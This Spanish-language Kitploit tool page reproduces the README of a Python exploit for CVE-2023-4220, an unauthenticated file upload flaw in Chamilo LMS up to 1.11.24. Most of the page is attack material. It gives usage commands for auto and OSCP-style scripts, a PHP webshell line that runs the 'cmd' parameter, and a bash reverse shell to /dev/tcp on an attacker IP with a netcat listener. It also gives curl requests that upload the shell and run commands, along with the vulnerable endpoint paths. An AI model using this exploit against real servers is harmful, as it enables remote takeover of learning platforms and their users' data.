Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
ChamiloLMS-CVE-2023-4220 — CVE-2023-4220 — Subida de archivos no autenticada RCE en Chamilo LMS ≤ 1.11.24. Estilo OSCP y auto exploit. | Kitploit
Herramientas/GitHubGitHub/speatx/chamilolms-cve-2023-4220
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubspeatx/chamilolms-cve-2023-4220

ChamiloLMS-CVE-2023-4220

CVE-2023-4220 — Subida de archivos no autenticada RCE en Chamilo LMS ≤ 1.11.24. Estilo OSCP y auto exploit.

Ver Repositorio
1hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Exploit de ChamiloLMS CVE-2023-4220

Exploit en Python para CVE-2023-4220, una vulnerabilidad de subida arbitraria de archivos sin autenticación que afecta a Chamilo LMS <= 1.11.24.

La vulnerabilidad se encuentra en el componente BigUpload de Chamilo. En instalaciones vulnerables, el manejador de subida permite subir un archivo PHP sin la validación adecuada. Dado que los archivos subidos se almacenan en un directorio accesible desde la web, el archivo PHP subido puede ser solicitado directamente y utilizado como webshell si la ejecución de PHP está habilitada.

Este repositorio incluye dos versiones del exploit:

root@kitploit:~
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py

Ambos scripts suben un webshell PHP, verifican la ejecución de comandos y permiten ejecutar comandos a través del parámetro GET cmd. La única diferencia práctica es cómo se maneja --shell.

La versión auto inicia su propio listener, dispara la reverse shell y cambia a una sesión interactiva automáticamente.

La versión oscp dispara el payload de reverse shell pero no inicia un listener. Debes iniciar tu listener manualmente antes de ejecutarlo.


Instalación

Clona el repositorio:

root@kitploit:~
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220

Instala los requisitos:

root@kitploit:~
python3 -m pip install -r requirements.txt

La única dependencia externa es requests, por lo que también se puede instalar manualmente:

root@kitploit:~
python3 -m pip install requests

Uso

El objetivo se pasa con -u o --url:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

Las mismas opciones están disponibles en ambos scripts:

root@kitploit:~
-u, --url              URL base del objetivo
--check               Verificar si el directorio de archivos de BigUpload es accesible
--upload              Subir el webshell y verificar la ejecución de comandos
--cmd CMD             Ejecutar un solo comando a través del webshell subido
--shell LHOST LPORT   Disparar una reverse shell
--filename NAME       Usar un nombre de archivo personalizado para el archivo PHP subido
--proxy PROXY         Enviar tráfico a través de un proxy, por ejemplo Burp Suite
--timeout SECONDS     Establecer el tiempo de espera HTTP
--verify-tls          Habilitar la verificación del certificado TLS
--cleanup             Intentar eliminar el webshell subido después de la ejecución

La versión automática también incluye:

root@kitploit:~
--listen-timeout SEC  Tiempo de espera para la conexión de reverse shell

Ejemplos básicos

Verificar si la ruta esperada de BigUpload es accesible:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check

Subir el webshell PHP y verificar la ejecución de comandos:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload

Ejecutar un solo comando:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id

Usar un nombre de archivo personalizado:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php

Enviar tráfico a través de Burp Suite:

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080

Los ejemplos anteriores usan el script auto, pero la misma sintaxis se puede usar con chamilo_cve_2023_4220_oscp.py.


Reverse Shell

La opción --shell existe en ambos scripts, pero se comporta de manera diferente dependiendo de la versión utilizada.

Versión automática

root@kitploit:~
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444

Esta versión inicia un listener local en 10.10.14.3:4444, sube el webshell, dispara la reverse shell y abre la sesión interactiva automáticamente.

No necesitas ejecutar nc manualmente al usar esta versión.

Versión estilo OSCP

Inicia tu listener manualmente primero:

root@kitploit:~
sudo nc -nlvp 4444

Luego ejecuta el exploit desde otra terminal:

root@kitploit:~
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444

Esta versión solo envía el payload de reverse shell a través del webshell subido. La conexión es recibida por el listener que iniciaste manualmente.

El comando de reverse shell disparado por ambos scripts es equivalente a:

root@kitploit:~
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'

Asegúrate de que el valor LHOST sea accesible desde el objetivo. En entornos VPN, suele ser la dirección de tu interfaz de túnel:

root@kitploit:~
ip -brief addr show tun0

Detalles de la vulnerabilidad

CVE-2023-4220 afecta a versiones de Chamilo LMS hasta la 1.11.24 inclusive.

El manejador de subida vulnerable se encuentra en:

root@kitploit:~
/main/inc/lib/javascript/bigupload/inc/bigUpload.php

La acción explotada por el exploit es:

root@kitploit:~
?action=post-unsupported

Los archivos subidos suelen ser accesibles desde:

root@kitploit:~
/main/inc/lib/javascript/bigupload/files/

El exploit envía una solicitud POST multipart/form-data usando el campo de formulario esperado por BigUpload:

root@kitploit:~
bigUploadFile

El payload PHP subido es un pequeño envoltorio de comandos:

root@kitploit:~
<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>

Los comandos se pasan a través del parámetro GET cmd:

root@kitploit:~
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id

Los marcadores alrededor de la salida del comando se utilizan para extraer la parte relevante de la respuesta HTTP.


Solicitud manual

La subida realizada por los scripts es equivalente a:

root@kitploit:~
curl -i -s -X POST \
  -F '[email protected];filename=shell.php' \
  'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

Después de una subida exitosa, la ejecución de comandos se puede probar con:

root@kitploit:~
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'

Notas

--check solo verifica si el directorio de archivos de BigUpload esperado es accesible. Un resultado positivo no garantiza que el objetivo sea explotable.

Una validación completa requiere subir el payload PHP y confirmar la ejecución de comandos con --upload o --cmd.

Si la subida funciona pero la ejecución de comandos falla, la ejecución de PHP puede estar deshabilitada en el directorio de subida, el objetivo puede estar parcheado, o una regla del lado del servidor puede estar bloqueando la solicitud.

Usa --cleanup si deseas que el script intente eliminar el archivo PHP subido después de la ejecución.

Descargar herramienta